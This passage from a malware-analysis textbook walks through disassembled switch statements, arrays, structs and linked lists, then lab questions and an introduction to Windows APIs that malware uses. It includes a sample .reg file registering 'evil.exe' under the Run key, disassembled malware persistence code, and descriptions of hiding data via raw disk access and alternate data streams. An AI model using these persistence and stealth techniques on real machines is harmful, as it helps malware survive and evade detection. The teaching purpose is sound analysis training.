00401088 off_401088  dd offset loc_40102C
0040108C               dd offset loc_401042
00401090               dd offset loc_401058
00401094               dd offset loc_40106E

Listing 6-23: Assembly code for the switch statement example in Listing 6-22

The graph in Figure 6-4 for this type of switch statement is clearer than 
the standard disassembly view.
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Figure 6-4: Disassembly graph of jump table switch statement example

As you can see, each of the four cases is broken down clearly into sepa-
rate assembly code chunks. These chunks appear one after another in a col-
umn after the jump table determines which one to use. Notice that all of 
these boxes and the initial box terminate at the right box, which is the end 
of the function.

sub_401000:
push    ebp
mov     ebp, esp
sub     esp, 8
mov     [ebp+var_4], 3
mov     eax, [ebp+var_4]
mov     [ebp+var_8], eax
mov     ecx, [ebp+var_8]
sub     ecx, 1
mov     [ebp+var_8], ecx
cmp     [ebp+var_8], 3
ja      short loc_401082

mov     edx, [ebp+var_8]
jmp     ds:off_401088[edx*4]

loc_40106E:
mov    eax, [ebp+var_4]
add    eax, 3
push   eax
push   offset aID_2   ; "i = %d"
call   sub_401098
add    esp, 8

loc_401042:
mov    ecx, [ebp+var_4]
add    ecx, 2
push   ecx
push   offset aID_0   ; "i = %d"
call   sub_401098
add    esp, 8
jmp    short loc_401082

loc_401058:
mov    edx, [ebp+var_4]
add    edx, 3
push   edx
push   offset aID_1   ; "i = %d"
call   sub_401098
add    esp, 8
jmp    short loc_401082

loc_40102C:
mov    eax, [ebp+var_4]
add    eax, 1
push   eax
push   offset aID   ; "i = %d"
call   sub_401098
add    esp, 8
jmp    short loc_401082

loc_401082:
xor     eax, eax
mov     esp, ebp
pop     ebp
retn

true

false
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Disassembling Arrays

Arrays are used by programmers to define an ordered set of similar data 
items. Malware sometimes uses an array of pointers to strings that contain 
multiple hostnames that are used as options for connections.

Listing 6-24 shows two arrays used by one program, both of which are 
set during the iteration through the for loop. Array a is locally defined, and 
array b is globally defined. These definitions will impact the assembly code.

int b[5] = {123,87,487,7,978};
void main()
{
   int i;
   int a[5];

   for(i = 0; i<5; i++)
   { 
      a[i] = i;
      b[i] = i;
   }
}

Listing 6-24: C code for an array

In assembly, arrays are accessed using a base address as a starting point. 
The size of each element is not always obvious, but it can be determined by 
seeing how the array is being indexed. Listing 6-25 shows the assembly code 
for Listing 6-24.

00401006        mov     [ebp+var_18], 0
0040100D        jmp     short loc_401018
0040100F loc_40100F:
0040100F        mov     eax, [ebp+var_18]
00401012        add     eax, 1
00401015        mov     [ebp+var_18], eax
00401018 loc_401018:
00401018        cmp     [ebp+var_18], 5
0040101C        jge     short loc_401037
0040101E        mov     ecx, [ebp+var_18]
00401021        mov     edx, [ebp+var_18]
00401024        mov     [ebp+ecx*4+var_14], edx 
00401028        mov     eax, [ebp+var_18]
0040102B        mov     ecx, [ebp+var_18]
0040102E        mov     dword_40A000[ecx*4], eax 
00401035        jmp     short loc_40100F

Listing 6-25: Assembly code for the array in Listing 6-24
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In this listing, the base address of array b corresponds to dword_40A000, 
and the base address of array a corresponds to var_14. Since these are both 
arrays of integers, each element is of size 4, although the instructions at  
and  differ for accessing the two arrays. In both cases, ecx is used as the 
index, which is multiplied by 4 to account for the size of the elements. The 
resulting value is added to the base address of the array to access the proper 
array element.

Identifying Structs

Structures (or structs, for short) are similar to arrays, but they comprise ele-
ments of different types. Structures are commonly used by malware authors 
to group information. It’s sometimes easier to use a structure than to main-
tain many different variables independently, especially if many functions 
need access to the same group of variables. (Windows API functions often 
use structures that must be created and maintained by the calling program.)

In Listing 6-26, we define a structure at  made up of an integer array, a 
character, and a double. In main, we allocate memory for the structure and 
pass the struct to the test function. The struct gms defined at  is a global 
variable.

struct my_structure { 
     int x[5];
     char y;
     double z;
};

struct my_structure *gms; 

void test(struct my_structure *q)
{
     int i;
     q->y = 'a';
     q->z = 15.6;
     for(i = 0; i<5; i++){ 
           q->x[i] = i;
     }
}

void main()
{
     gms = (struct my_structure *) malloc(
     sizeof(struct my_structure));
     test(gms);
}

Listing 6-26: C code for a struct example
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Structures (like arrays) are accessed with a base address used as a starting 
pointer. It is difficult to determine whether nearby data types are part of the 
same struct or whether they just happen to be next to each other. Depending 
on the structure’s context, your ability to identify a structure can have a sig-
nificant impact on your ability to analyze malware.

Listing 6-27 shows the main function from Listing 6-26, disassembled. 
Since the struct gms is a global variable, its base address will be the memory 
location dword_40EA30 as shown in Listing 6-27. The base address of this struc-
ture is passed to the sub_401000 (test) function via the push eax at .

00401050        push    ebp 
00401051        mov     ebp, esp 
00401053        push    20h             
00401055        call    malloc 
0040105A        add     esp, 4
0040105D        mov     dword_40EA30, eax 
00401062        mov     eax, dword_40EA30
00401067        push    eax 
00401068        call    sub_401000
0040106D        add     esp, 4
00401070        xor     eax, eax 
00401072        pop     ebp 
00401073        retn 

Listing 6-27: Assembly code for the main function in the struct example in Listing 6-26

Listing 6-28 shows the disassembly of the test method shown in List-
ing 6-26. arg_0 is the base address of the structure. Offset 0x14 stores the 
character within the struct, and 0x61 corresponds to the letter a in ASCII.

00401000        push    ebp
00401001        mov     ebp, esp
00401003        push    ecx
00401004        mov     eax,[ebp+arg_0]
00401007        mov     byte ptr [eax+14h], 61h
0040100B        mov     ecx, [ebp+arg_0]
0040100E        fld     ds:dbl_40B120 
00401014        fstp    qword ptr [ecx+18h]
00401017        mov     [ebp+var_4], 0
0040101E        jmp     short loc_401029
00401020 loc_401020:                             
00401020        mov     edx,[ebp+var_4]
00401023        add     edx, 1
00401026        mov     [ebp+var_4], edx
00401029 loc_401029:                             
00401029        cmp     [ebp+var_4], 5
0040102D        jge     short loc_40103D
0040102F        mov     eax,[ebp+var_4]
00401032        mov     ecx,[ebp+arg_0]
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00401035        mov     edx,[ebp+var_4]
00401038        mov     [ecx+eax*4],edx 
0040103B        jmp     short loc_401020
0040103D loc_40103D:                           
0040103D        mov     esp, ebp
0040103F        pop     ebp
00401040        retn

Listing 6-28: Assembly code for the test function in the struct example in Listing 6-26

We can tell that offset 0x18 is a double because it is used as part of a 
floating-point instruction at . We can also tell that integers are moved into 
offset 0, 4, 8, 0xC, and 0x10 by examining the for loop and where these off-
sets are accessed at . We can infer the contents of the structure from this 
analysis.

In IDA Pro, you can create structures and assign them to memory 
references using the T hotkey. Doing this will change the instruction mov 
[eax+14h], 61h to mov [eax + my_structure.y], 61h. The latter is easier to read, 
and marking structures can often help you understand the disassembly more 
quickly, especially if you are constantly viewing the structure used. To use the 
T hotkey effectively in this example, you would need to create the my_structure 
structure manually using IDA Pro’s structure window. This can be a tedious 
process, but it can be helpful for structures that you encounter frequently.

Analyzing Linked List Traversal

A linked list is a data structure that consists of a sequence of data records, 
and each record includes a field that contains a reference (link) to the next 
record in the sequence. The principal benefit of using a linked list over an 
array is that the order of the linked items can differ from the order in which 
the data items are stored in memory or on disk. Therefore, linked lists 
allow the insertion and removal of nodes at any point in the list.

Listing 6-29 shows a C code example of a linked list and its traversal. 
This linked list consists of a series of node structures named pnode, and it is 
manipulated with two loops. The first loop at  creates 10 nodes and fills 
them with data. The second loop at  iterates over all the records and 
prints their contents.

struct node
{
   int x;
   struct node * next;
};

typedef struct node pnode;

void main() 
{
   pnode * curr, * head;
   int i;
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   head = NULL;

   for(i=1;i<=10;i++) 
   {
      curr = (pnode *)malloc(sizeof(pnode));
      curr->x = i;
      curr->next  = head;
      head = curr;
   }

   curr = head;

   while(curr) 
   {
      printf("%d\n", curr->x);
      curr = curr->next ;
   }
}

Listing 6-29: C code for a linked list traversal

The best way to understand the disassembly is to identify the two code 
constructs within the main method. And that is, of course, the crux of this 
chapter: Your ability to recognize these constructs makes the analysis easier.

In Listing 6-30, we identify the for loop first. var_C corresponds to i, 
which is the counter for the loop. var_8 corresponds to the head variable, and 
var_4 is the curr variable. var_4 is a pointer to a struct with two variables that 
are assigned values (shown at  and ).

The while loop ( through ) executes the iteration through the linked 
list. Within the loop, var_4 is set to the next record in the list at .

0040106A        mov     [ebp+var_8], 0
00401071        mov     [ebp+var_C], 1
00401078
00401078 loc_401078:
00401078        cmp     [ebp+var_C], 0Ah
0040107C        jg      short loc_4010AB
0040107E        mov     [esp+18h+var_18], 8
00401085        call    malloc
0040108A        mov     [ebp+var_4], eax
0040108D        mov     edx, [ebp+var_4]
00401090        mov     eax, [ebp+var_C]
00401093        mov     [edx], eax 
00401095        mov     edx, [ebp+var_4]
00401098        mov     eax, [ebp+var_8]
0040109B        mov     [edx+4], eax 
0040109E        mov     eax, [ebp+var_4]
004010A1        mov     [ebp+var_8], eax
004010A4        lea     eax, [ebp+var_C]
004010A7        inc     dword ptr [eax]
004010A9        jmp     short loc_401078
004010AB loc_4010AB:
004010AB        mov     eax, [ebp+var_8]
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004010AE        mov     [ebp+var_4], eax
004010B1
004010B1 loc_4010B1:
004010B1        cmp     [ebp+var_4], 0 
004010B5        jz      short locret_4010D7
004010B7        mov     eax, [ebp+var_4]
004010BA        mov     eax, [eax]
004010BC        mov     [esp+18h+var_14], eax
004010C0        mov     [esp+18h+var_18], offset aD ; "%d\n"
004010C7        call    printf
004010CC        mov     eax, [ebp+var_4]
004010CF        mov     eax, [eax+4]
004010D2        mov     [ebp+var_4], eax 
004010D5        jmp     short loc_4010B1 

Listing 6-30: Assembly code for the linked list traversal example in Listing 6-29

To recognize a linked list, you must first recognize that some object con-
tains a pointer that points to another object of the same type. The recursive 
nature of the objects is what makes it linked, and this is what you need to rec-
ognize from the disassembly.

In this example, realize that at , var_4 is assigned eax, which comes from 
[eax+4], which itself came from a previous assignment of var_4. This means 
that whatever struct var_4 is must contain a pointer 4 bytes into it. This points 
to another struct that must also contain a pointer 4 bytes into another struct, 
and so on.

Conclusion

This chapter was designed to expose you to a constant task in malware analy-
sis: abstracting yourself from the details. Don’t get bogged down in the low-
level details, but develop the ability to recognize what the code is doing at a 
higher level.

We’ve shown you each of the major C coding constructs in both C and 
assembly to help you quickly recognize the most common constructs during 
analysis. We’ve also offered a couple of examples showing where the com-
piler decided to do something different, in the case of structs and (when an 
entirely different compiler was used) in the case of function calls. Develop-
ing this insight will help you as you navigate the path toward recognizing new 
constructs when you encounter them in the wild.
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L A B S
The goal of the labs for this chapter is to help you to understand the overall 
functionality of a program by analyzing code constructs. Each lab will guide 
you through discovering and analyzing a new code construct. Each lab builds 
on the previous one, thus creating a single, complicated piece of malware 
with four constructs. Once you’ve finished working through the labs, you 
should be able to more easily recognize these individual constructs when you 
encounter them in malware.

Lab 6-1

In this lab, you will analyze the malware found in the file Lab06-01.exe.

Questions

1. What is the major code construct found in the only subroutine called 
by main?

2. What is the subroutine located at 0x40105F?

3. What is the purpose of this program? 

Lab 6-2

Analyze the malware found in the file Lab06-02.exe.

Questions

1. What operation does the first subroutine called by main perform?

2. What is the subroutine located at 0x40117F?

3. What does the second subroutine called by main do?

4. What type of code construct is used in this subroutine?

5. Are there any network-based indicators for this program?

6. What is the purpose of this malware?

Lab 6-3

In this lab, we’ll analyze the malware found in the file Lab06-03.exe.
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Questions

1. Compare the calls in main to Lab 6-2’s main method. What is the new 
function called from main?

2. What parameters does this new function take?

3. What major code construct does this function contain?

4. What can this function do?

5. Are there any host-based indicators for this malware?

6. What is the purpose of this malware? 

Lab 6-4

In this lab, we’ll analyze the malware found in the file Lab06-04.exe.

Questions

1. What is the difference between the calls made from the main method in 
Labs 6-3 and 6-4?

2. What new code construct has been added to main?

3. What is the difference between this lab’s parse HTML function and 
those of the previous labs?

4. How long will this program run? (Assume that it is connected to the 
Internet.)

5. Are there any new network-based indicators for this malware?

6. What is the purpose of this malware?
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A N A L Y Z I N G  M A L I C I O U S  
W I N D O W S  P R O G R A M S

Most malware targets Windows platforms and interacts 
closely with the OS. A solid understanding of basic 
Windows coding concepts will allow you to identify 
host-based indicators of malware, follow malware as 
it uses the OS to execute code without a jump or call 
instruction, and determine the malware’s purpose.

This chapter covers a variety of concepts that will be familiar to Windows 
programmers, but you should read it even if you are in that group. Non-
malicious programs are generally well formed by compilers and follow Micro-
soft guidelines, but malware is typically poorly formed and tends to perform 
unexpected actions. This chapter will cover some unique ways that malware 
uses Windows functionality.

Windows is a complex OS, and this chapter can’t possibly cover every 
aspect of it. Instead, we focus on the functionality most relevant to malware 
analysis. We begin with a brief overview of some common Windows API ter-
minology, and then discuss the ways that malware can modify the host system 



and how you can create host-based indicators. Next, we cover the different 
ways that a program can execute code located outside the file you’re ana-
lyzing. We finish with a discussion of how malware uses kernel mode for 
additional functionality and stealth.

The Windows API

The Windows API is a broad set of functionality that governs the way that 
malware interacts with the Microsoft libraries. The Windows API is so exten-
sive that developers of Windows-only applications have little need for third-
party libraries.

The Windows API uses certain terms, names, and conventions that you 
should become familiar with before turning to specific functions.

Types and Hungarian Notation
Much of the Windows API uses its own names to represent C types. For 
example, the DWORD and WORD types represent 32-bit and 16-bit unsigned 
integers. Standard C types like int, short, and unsigned int are not normally 
used.

Windows generally uses Hungarian notation for API function identifiers. 
This notation uses a prefix naming scheme that makes it easy to identify a 
variable’s type. Variables that contain a 32-bit unsigned integer, or DWORD, start 
with dw. For example, if the third argument to the VirtualAllocEx function is 
dwSize, you know that it’s a DWORD. Hungarian notation makes it easier to iden-
tify variable types and to parse code, but it can become unwieldy.

Table 7-1 lists some of the most common Windows API types (there are 
many more). Each type’s prefix follows it in parentheses.

Table 7-1: Common Windows API Types

Type and prefix Description

WORD (w) A 16-bit unsigned value.

DWORD (dw) A double-WORD, 32-bit unsigned value.

Handles (H) A reference to an object. The information stored in the handle is not docu-
mented, and the handle should be manipulated only by the Windows API. 
Examples include HModule, HInstance, and HKey. 

Long Pointer (LP) A pointer to another type. For example, LPByte is a pointer to a byte, and 
LPCSTR is a pointer to a character string. Strings are usually prefixed by LP 
because they are actually pointers. Occasionally, you will see Pointer 
(P)... prefixing another type instead of LP; in 32-bit systems, this is the 
same as LP. The difference was meaningful in 16-bit systems. 

Callback Represents a function that will be called by the Windows API. For example, 
the InternetSetStatusCallback function passes a pointer to a function that 
is called whenever the system has an update of the Internet status.
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Handles
Handles are items that have been opened or created in the OS, such as a 
window, process, module, menu, file, and so on. Handles are like pointers in 
that they refer to an object or memory location somewhere else. However, 
unlike pointers, handles cannot be used in arithmetic operations, and they 
do not always represent the object’s address. The only thing you can do with 
a handle is store it and use it in a later function call to refer to the same object.

The CreateWindowEx function has a simple example of a handle. It returns 
an HWND, which is a handle to a window. Whenever you want to do anything 
with that window, such as call DestroyWindow, you’ll need to use that handle.

NOTE According to Microsoft you can’t use the HWND as a pointer or arithmetic value. How-
ever, some functions return handles that represent values that can be used as pointers. 
We’ll point those out as we cover them in this chapter.

File System Functions
One of the most common ways that malware interacts with the system is by 
creating or modifying files, and distinct filenames or changes to existing file-
names can make good host-based indicators.

File activity can hint at what the malware does. For example, if the mal-
ware creates a file and stores web-browsing habits in that file, the program is 
probably some form of spyware.

Microsoft provides several functions for accessing the file system, as 
follows:

CreateFile

This function is used to create and open files. It can open existing files, 
pipes, streams, and I/O devices, and create new files. The parameter 
dwCreationDisposition controls whether the CreateFile function creates a 
new file or opens an existing one.

ReadFile and WriteFile
These functions are used for reading and writing to files. Both operate 
on files as a stream. When you first call ReadFile, you read the next several 
bytes from a file; the next time you call it, you read the next several bytes 
after that. For example, if you open a file and call ReadFile with a size 
of 40, the next time you call it, it will read beginning with the forty-first 
byte. As you can imagine, though, neither function makes it particularly 
easy to jump around within a file.

CreateFileMapping and MapViewOfFile
File mappings are commonly used by malware writers because they 
allow a file to be loaded into memory and manipulated easily. The 
CreateFileMapping function loads a file from disk into memory. The 
MapViewOfFile function returns a pointer to the base address of the 
mapping, which can be used to access the file in memory. The program 
calling these functions can use the pointer returned from MapViewOfFile 
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to read and write anywhere in the file. This feature is extremely handy 
when parsing a file format, because you can easily jump to different 
memory addresses.

NOTE File mappings are commonly used to replicate the functionality of the Windows loader. 
After obtaining a map of the file, the malware can parse the PE header and make all 
necessary changes to the file in memory, thereby causing the PE file to be executed as if it 
had been loaded by the OS loader.

Special Files
Windows has a number of file types that can be accessed much like regular 
files, but that are not accessed by their drive letter and folder (like c:\docs). 
Malicious programs often use special files.

Some special files can be stealthier than regular ones because they don’t 
show up in directory listings. Certain special files can provide greater access 
to system hardware and internal data.

Special files can be passed as strings to any of the file-manipulation func-
tions, and will operate on a file as if it were a normal file. Here, we’ll look at 
shared files, files accessible via namespaces, and alternate data streams.

Shared Files

Shared files are special files with names that start with \\serverName\share or 
\\?\serverName\share. They access directories or files in a shared folder stored 
on a network. The \\?\ prefix tells the OS to disable all string parsing, and it 
allows access to longer filenames.

Files Accessible via Namespaces

Additional files are accessible via namespaces within the OS. Namespaces 
can be thought of as a fixed number of folders, each storing different types 
of objects. The lowest level namespace is the NT namespace with the prefix \. 
The NT namespace has access to all devices, and all other namespaces exist 
within the NT namespace.

NOTE To browse the NT namespace on your system, use the WinObj Object Manager name-
space viewer available free from Microsoft.

The Win32 device namespace, with the prefix \\ .\ , is often used by mal-
ware to access physical devices directly, and read and write to them like a 
file. For example, a program might use the \\ .\PhysicalDisk1 to directly access 
PhysicalDisk1 while ignoring its file system, thereby allowing it to modify the 
disk in ways that are not possible through the normal API. Using this method, 
the malware might be able to read and write data to an unallocated sector 
without creating or accessing files, which allows it to avoid detection by anti-
virus and security programs.

For example, the Witty worm from a few years back accessed \ Device\
PhysicalDisk1 via the NT namespace to corrupt its victim’s file system. It 
would open the \ Device\ PhysicalDisk1 and write to a random space on the 
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drive at regular intervals, eventually corrupting the victim’s OS and render-
ing it unable to boot. The worm didn’t last very long, because the victim’s sys-
tem often failed before the worm could spread, but it caused a lot of damage 
to the systems it did infect.

Another example is malware usage of \Device\PhysicalMemory in order to 
access physical memory directly, which allows user-space programs to write to 
kernel space. This technique has been used by malware to modify the kernel 
and hide programs in user space.

NOTE Beginning with Windows 2003 SP1, \Device\PhysicalMemory is inaccessible from 
user space. However, you can still get to \Device\PhysicalMemory from kernel space, 
which can be used to access low-level information such as BIOS code and configuration.

Alternate Data Streams

The Alternate Data Streams (ADS) feature allows additional data to be added to 
an existing file within NTFS, essentially adding one file to another. The extra 
data does not show up in a directory listing, and it is not shown when display-
ing the contents of the file; it’s visible only when you access the stream.

ADS data is named according to the convention normalFile.txt:Stream:$DATA, 
which allows a program to read and write to a stream. Malware authors like 
ADS because it can be used to hide data.

The Windows Registry

The Windows registry is used to store OS and program configuration informa-
tion, such as settings and options. Like the file system, it is a good source of 
host-based indicators and can reveal useful information about the malware’s 
functionality.

Early versions of Windows used .ini files to store configuration informa-
tion. The registry was created as a hierarchical database of information to 
improve performance, and its importance has grown as more applications 
use it to store information. Nearly all Windows configuration information is 
stored in the registry, including networking, driver, startup, user account, 
and other information.

Malware often uses the registry for persistence or configuration data. The 
malware adds entries into the registry that will allow it to run automatically 
when the computer boots. The registry is so large that there are many ways 
for malware to use it for persistence.

Before digging into the registry, there are a few important registry terms 
that you’ll need to know in order to understand the Microsoft documentation:

Root key The registry is divided into five top-level sections called root 
keys. Sometimes, the terms HKEY and hive  are also used. Each of the 
root keys has a particular purpose, as explained next.

Subkey A subkey is like a subfolder within a folder.

Key A key is a folder in the registry that can contain additional folders 
or values. The root keys and subkeys are both keys.
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Value entry A value entry is an ordered pair with a name and value.

Value or data The value or data is the data stored in a registry entry.

Registry Root Keys
The registry is split into the following five root keys:

HKEY_LOCAL_MACHINE (HKLM) Stores settings that are global to the local 
machine

HKEY_CURRENT_USER (HKCU) Stores settings specific to the current user

HKEY_CLASSES_ROOT Stores information defining types

HKEY_CURRENT_CONFIG Stores settings about the current hardware configu-
ration, specifically differences between the current and the standard 
configuration

HKEY_USERS Defines settings for the default user, new users, and current 
users

The two most commonly used root keys are HKLM and HKCU. (These keys 
are commonly referred to by their abbreviations.)

Some keys are actually virtual keys that provide a way to reference the 
underlying registry information. For example, the key HKEY_CURRENT_USER is 
actually stored in HKEY_USERS\SID, where SID is the security identifier of the 
user currently logged in. For example, one popular subkey, HKEY_LOCAL_MACHINE\
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, contains a series of values that 
are executables that are started automatically when a user logs in. The root 
key is HKEY_LOCAL_MACHINE, which stores the subkeys of SOFTWARE, Microsoft, 
Windows, CurrentVersion, and Run.

Regedit
The Registry Editor (Regedit), shown in Figure 7-1, is a built-in Windows tool 
used to view and edit the registry. The window on the left shows the open 
subkeys. The window on the right shows the value entries in the subkey. Each 
value entry has a name, type, and value. The full path for the subkey currently 
being viewed is shown at the bottom of the window.

Programs that Run Automatically
Writing entries to the Run subkey (highlighted in Figure 7-1) is a well-known 
way to set up software to run automatically. While not a very stealthy tech-
nique, it is often used by malware to launch itself automatically.

The Autoruns tool (free from Microsoft) lists code that will run auto-
matically when the OS starts. It lists executables that run, DLLs loaded into 
Internet Explorer and other programs, and drivers loaded into the kernel. 
Autoruns checks about 25 to 30 locations in the registry for code designed 
to run automatically, but it won’t necessarily list all of them.
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Figure 7-1: The Regedit tool

Common Registry Functions
Malware often uses registry functions that are part of the Windows API in 
order to modify the registry to run automatically when the system boots. The 
following are the most common registry functions:

RegOpenKeyEx Opens a registry for editing and querying. There are func-
tions that allow you to query and edit a registry key without opening it 
first, but most programs use RegOpenKeyEx anyway.

RegSetValueEx Adds a new value to the registry and sets its data.

RegGetValue Returns the data for a value entry in the registry.

When you see these functions in malware, you should identify the regis-
try key they are accessing.

In addition to registry keys for running on startup, many registry values 
are important to the system’s security and settings. There are too many to list 
here (or anywhere), and you may need to resort to a Google search for regis-
try keys as you see them accessed by malware.

Analyzing Registry Code in Practice
Listing 7-1 shows real malware code opening the Run key from the registry 
and adding a value so that the program runs each time Windows starts. The 
RegSetValueEx function, which takes six parameters, edits a registry value entry 
or creates a new one if it does not exist.

NOTE When looking for function documentation for RegOpenKeyEx, RegSetValuEx, and so on, 
remember to drop the trailing W or A character.
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0040286F   push    2               ; samDesired
00402871   push    eax             ; ulOptions
00402872   push    offset SubKey   ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877   push    HKEY_LOCAL_MACHINE ; hKey
0040287C call    esi ; RegOpenKeyExW
0040287E   test    eax, eax
00402880   jnz     short loc_4028C5
00402882
00402882 loc_402882:      
00402882   lea     ecx, [esp+424h+Data]
00402886   push    ecx             ; lpString
00402887   mov     bl, 1
00402889 call    ds:lstrlenW
0040288F   lea     edx, [eax+eax+2]
00402893 push    edx             ; cbData
00402894   mov     edx, [esp+428h+hKey]
00402898 lea     eax, [esp+428h+Data]
0040289C   push    eax             ; lpData
0040289D   push    1               ; dwType
0040289F   push    0               ; Reserved
004028A1 lea     ecx, [esp+434h+ValueName]
004028A8   push    ecx             ; lpValueName
004028A9   push    edx             ; hKey
004028AA   call    ds:RegSetValueExW

Listing 7-1: Code that modifies registry settings

Listing 7-1 contains comments at the end of most lines after the semi-
colon. In most cases, the comment is the name of the parameter being 
pushed on the stack, which comes from the Microsoft documentation for the 
function being called. For example, the first four lines have the comments 
samDesired, ulOptions, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 
and hKey. These comments give information about the meanings of the val-
ues being pushed. The samDesired value indicates the type of security access 
requested, the ulOptions field is an unsigned long integer representing the 
options for the call (remember about Hungarian notation), and the hKey is the 
handle to the root key being accessed.

The code calls the RegOpenKeyEx function at  with the parameters 
needed to open a handle to the registry key HKLM\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run. The value name at  and data at  are stored on the 
stack as parameters to this function, and are shown here as having been 
labeled by IDA Pro. The call to lstrlenW at  is needed in order to get the size 
of the data, which is given as a parameter to the RegSetValueEx function at .

Registry Scripting with .reg Files
Files with a .reg extension contain human-readable registry data. When a 
user double-clicks a .reg file, it automatically modifies the registry by merg-
ing the information the file contains into the registry—almost like a script 
for modifying the registry. As you might imagine, malware sometimes uses 
.reg files to modify the registry, although it more often directly edits the reg-
istry programmatically.
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Listing 7-2 shows an example of a .reg file.

Windows Registry Editor Version 5.00

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"MaliciousValue"="C:\Windows\evil.exe"

Listing 7-2: Sample .reg file

The first line in Listing 7-2 simply lists the version of the registry editor. 
In this case, version 5.00 corresponds to Windows XP. The key to be modi-
fied, [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run], appears within 
brackets. The last line of the .reg file contains the value name and the data 
for that key. This listing adds the value name MaliciousValue, which will 
automatically run C:\Windows\evil.exe each time the OS boots.

Networking APIs

Malware commonly relies on network functions to do its dirty work, and 
there are many Windows API functions for network communication. The 
task of creating network signatures is complicated, and it is the exclusive 
focus of Chapter 14. Our goal here is to show you how to recognize and 
understand common network functions, so you can identify what a malicious 
program is doing when these functions are used.

Berkeley Compatible Sockets
Of the Windows network options, malware most commonly uses Berkeley 
compatible sockets, functionality that is almost identical on Windows and 
UNIX systems.

Berkeley compatible sockets’ network functionality in Windows is imple-
mented in the Winsock libraries, primarily in ws2_32.dll. Of these, the socket, 
connect, bind, listen, accept, send, and recv functions are the most common, 
and these are described in Table 7-2.

Table 7-2: Berkeley Compatible Sockets Networking Functions

Function Description

socket Creates a socket

bind Attaches a socket to a particular port, prior to the accept call

listen Indicates that a socket will be listening for incoming connections

accept Opens a connection to a remote socket and accepts the connection

connect Opens a connection to a remote socket; the remote socket must be waiting for the 
connection

recv Receives data from the remote socket

send Sends data to the remote socket
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NOTE The WSAStartup function must be called before any other networking functions in order 
to allocate resources for the networking libraries. When looking for the start of network 
connections while debugging code, it is useful to set a breakpoint on WSAStartup, because 
the start of networking should follow shortly.

The Server and Client Sides of Networking
There are always two sides to a networking program: the server side, which 
maintains an open socket waiting for incoming connections, and the client 
side, which connects to a waiting socket. Malware can be either one of these.

In the case of client-side applications that connect to a remote socket, 
you will see the socket call followed by the connect call, followed by send and 
recv as necessary. For a service application that listens for incoming connec-
tions, the socket, bind, listen, and accept functions are called in that order, 
followed by send and recv, as necessary. This pattern is common to both mali-
cious and nonmalicious programs.

Listing 7-3 shows an example of a server socket program.

NOTE This example leaves out all error handling and parameter setup. A realistic example 
would be littered with calls to WSAGetLastError and other error-handling functions.

00401041  push  ecx             ; lpWSAData
00401042  push  202h            ; wVersionRequested
00401047  mov   word ptr [esp+250h+name.sa_data], ax
0040104C  call    ds:WSAStartup
00401052  push    0               ; protocol
00401054  push    1               ; type
00401056  push    2               ; af
00401058  call    ds:socket
0040105E  push    10h             ; namelen
00401060  lea     edx, [esp+24Ch+name]
00401064  mov     ebx, eax
00401066  push    edx             ; name
00401067  push    ebx             ; s
00401068  call    ds:bind
0040106E  mov     esi, ds:listen
00401074  push    5               ; backlog
00401076  push    ebx             ; s
00401077  call    esi ; listen
00401079  lea     eax, [esp+248h+addrlen]
0040107D  push    eax             ; addrlen
0040107E  lea     ecx, [esp+24Ch+hostshort]
00401082  push    ecx             ; addr
00401083  push    ebx             ; s
00401084  call    ds:accept

Listing 7-3: A simplified program with a server socket
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First, WSAStartup initializes the Win32 sockets system, and then a socket is 
created with socket. The bind function attaches the socket to a port, the listen 
call sets up the socket to listen, and the accept call hangs, waiting for a con-
nection from a remote socket.

The WinINet API
In addition to the Winsock API, there is a higher-level API called the WinINet 
API. The WinINet API functions are stored in Wininet.dll. If a program imports 
functions from this DLL, it’s using higher-level networking APIs.

The WinINet API implements protocols, such as HTTP and FTP, at the 
application layer. You can gain an understanding of what malware is doing 
based on the connections that it opens.

 InternetOpen is used to initialize a connection to the Internet.

 InternetOpenUrl is used to connect to a URL (which can be an HTTP page 
or an FTP resource).

 InternetReadFile works much like the ReadFile function, allowing the pro-
gram to read the data from a file downloaded from the Internet.

Malware can use the WinINet API to connect to a remote server and get 
further instructions for execution.

Following Running Malware

There are many ways that malware can transfer execution in addition to the 
jump and call instructions visible in IDA Pro. It’s important for a malware 
analyst to be able to figure out how malware could be inducing other code to 
run. The first and most common way to access code outside a single file is 
through the use of DLLs.

DLLs
Dynamic link libraries (DLLs) are the current Windows way to use libraries to 
share code among multiple applications. A DLL is an executable file that does 
not run alone, but exports functions that can be used by other applications.

Static libraries were the standard prior to the use of DLLs, and static 
libraries still exist, but they are much less common. The main advantage of 
using DLLs over static libraries is that the memory used by the DLLs can be 
shared among running processes. For example, if a library is used by two dif-
ferent running processes, the code for the static library would take up twice 
as much memory, because it would be loaded into memory twice.

Another major advantage to using DLLs is that when distributing an exe-
cutable, you can use DLLs that are known to be on the host Windows system 
without needing to redistribute them. This helps software developers and 
malware writers minimize the size of their software distributions.
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DLLs are also a useful code-reuse mechanism. For example, large soft-
ware companies will create DLLs with some functionality that is common to 
many of their applications. Then, when they distribute the applications, they 
distribute the main .exe and any DLLs that application uses. This allows them 
to maintain a single library of common code and distribute it only when 
needed.

How Malware Authors Use DLLs

Malware writers use DLLs in three ways:

To store malicious code
Sometimes, malware authors find it more advantageous to store mali-
cious code in a DLL, rather than in an .exe file. Some malware attaches to 
other processes, but each process can contain only one .exe file. Malware 
sometimes uses DLLs to load itself into another process.

By using Windows DLLs
Nearly all malware uses the basic Windows DLLs found on every system. 
The Windows DLLs contain the functionality needed to interact with 
the OS. The way that a malicious program uses the Windows DLLs often 
offers tremendous insight to the malware analyst. The imports that you 
learned about in Chapter 1 and the functions covered throughout this 
chapter are all imported from the Windows DLLs. Throughout the bal-
ance of this chapter, we will continue to cover functions from specific 
DLLs and describe how malware uses them.

By using third-party DLLs
Malware can also use third-party DLLs to interact with other programs. 
When you see malware that imports functions from a third-party DLL, 
you can infer that it is interacting with that program to accomplish its 
goals. For example, it might use the Mozilla Firefox DLL to connect back 
to a server, rather than connecting directly through the Windows API. 
Malware might also be distributed with a customized DLL to use func-
tionality from a library not already installed on the victim’s machine; for 
example, to use encryption functionality that is distributed as a DLL.

Basic DLL Structure

Under the hood, DLL files look almost exactly like .exe files. DLLs use the PE 
file format, and only a single flag indicates that the file is a DLL and not an 
.exe. DLLs often have more exports and generally fewer imports. Other than 
that, there’s no real difference between a DLL and an .exe.

